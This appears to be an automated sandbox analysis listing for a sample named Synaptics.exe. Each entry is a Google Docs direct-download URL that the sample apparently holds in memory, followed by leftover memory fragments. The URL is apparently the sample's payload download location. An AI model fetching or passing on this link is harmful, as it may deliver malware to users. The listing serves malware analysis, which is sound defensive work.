Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.comE
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn0
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn02
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn07
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadna
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncel
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncelV
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncelYj
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnd:#f
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnek
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadness(
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetl
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnga
Source: Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniver
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyo
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyorvj
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnk
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnnect
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnsH
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadny
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoG
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoW
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadocati
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadodel
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadog
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2349487470.000000001DAED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadomputz$
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoo_
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogle
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadop:0;max-width:none;paddin
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador..
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...%
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...-
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador1
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadort=d
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoru
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpadding-right:0
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpp
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpt
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqF
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqH
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqHlg
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqL
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqY
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadquK
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr%
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr-srcvWa
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr4
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrA
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrM
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrch
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrch-c
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadre
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrflo
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrigin
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrity
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrs
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrsion
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadscrip
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadse
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadss
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsx
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsy
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt-
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt17
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtN
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtZ
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2349487470.000000001DAED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtc
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtcN/)
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtd?
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtdXfL
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadte
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadth:3
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2349487470.000000001DAED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadti
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleni
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlenis
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadts
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadttp/cf
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt~
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2349487470.000000001DAED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu)
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduE
